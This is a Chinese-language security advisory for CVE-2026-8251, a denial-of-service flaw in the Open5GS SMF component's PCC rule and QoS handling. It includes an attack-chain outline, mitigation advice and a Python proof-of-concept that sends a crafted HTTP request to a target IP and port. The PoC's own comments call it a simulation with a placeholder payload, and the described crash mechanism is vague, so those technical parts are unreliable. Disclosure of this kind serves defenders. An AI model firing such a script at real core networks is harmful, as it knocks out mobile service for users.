IPBUF安全漏洞报告
English
CVE-2026-8251 CVSS 4.3 中危

CVE-2026-8251 Open5GS拒绝服务漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-8251
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSDoS5G核心网远程漏洞

漏洞概述

Open5GS 2.7.7及之前版本中存在一个安全漏洞,CVSS评分为4.3(中危)。该漏洞位于SMF组件的`npcf-handler.c`文件,具体涉及`update_authorized_pcc_rule_and_qos`函数。攻击者可通过网络远程利用此漏洞,通过发送特定的恶意数据包操作目标系统,导致拒绝服务。目前该漏洞的利用代码已被公开,尽管项目方已收到报告但尚未发布修复,存在较大的实际安全风险。

技术细节

该漏洞源于Open5GS会话管理功能(SMF)组件中`/src/smf/npcf-handler.c`文件的`update_authorized_pcc_rule_and_qos`函数存在逻辑缺陷。攻击者可以利用该缺陷,通过网络向目标系统发送特制的恶意数据包,该数据包包含精心构造的PCC(策略和计费控制)规则或QoS(服务质量)参数。由于函数在解析和处理这些特定输入时未进行充分的边界检查或异常处理,导致系统内部状态异常,进而引发内存访问错误或死锁。攻击者无需用户交互,且仅需低权限即可远程发起攻击。鉴于SMF在5G/4G核心网中负责用户会话管理的关键地位,该进程的崩溃将直接导致网络无法为新用户提供服务,造成严重的拒绝服务后果。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找Open5GS部署实例,识别SMF组件的开放端口。
STEP 2
访问与利用
攻击者向SMF组件的`npcf-handler`接口发送特制的恶意数据包,该数据包包含导致`update_authorized_pcc_rule_and_qos`函数处理异常的PCC规则数据。
STEP 3
拒绝服务
目标系统处理恶意数据包时触发逻辑错误,导致SMF进程崩溃或挂起,无法处理正常的用户会话请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import sys """ PoC for CVE-2026-8251 (Open5GS DoS Vulnerability) This script sends a crafted payload to trigger the DoS in update_authorized_pcc_rule_and_qos. Target: Open5GS SMF component Usage: python poc.py <target_ip> <target_port> """ def send_exploit(target_ip, target_port): # Simulating a malformed request targeting the vulnerable function # In a real scenario, this would be a specific protocol message (e.g., HTTP/Diameter) # triggering the logic flaw in PCC rule update. payload_header = b"POST /npcf-handler HTTP/1.1\r\n" payload_header += b"Host: open5gs-smf\r\n" payload_header += b"Content-Type: application/json\r\n" payload_header += b"Content-Length: 50\r\n\r\n" # Malformed data structure designed to crash the update_authorized_pcc_rule_and_qos function malicious_body = b'{"pcc_rule": {"qos": {"invalid": "crash_trigger"}}}' full_payload = payload_header + malicious_body try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(full_payload) s.close() print("[+] Payload sent successfully. Check service availability.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: send_exploit(sys.argv[1], int(sys.argv[2]))

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未发布修复补丁,建议暂时限制对Open5GS SMF组件的外部网络访问,仅允许受信任的内部网元进行通信。同时,应密切监控系统日志和进程状态,一旦发现异常重启或崩溃,需及时排查是否遭受攻击。

参考链接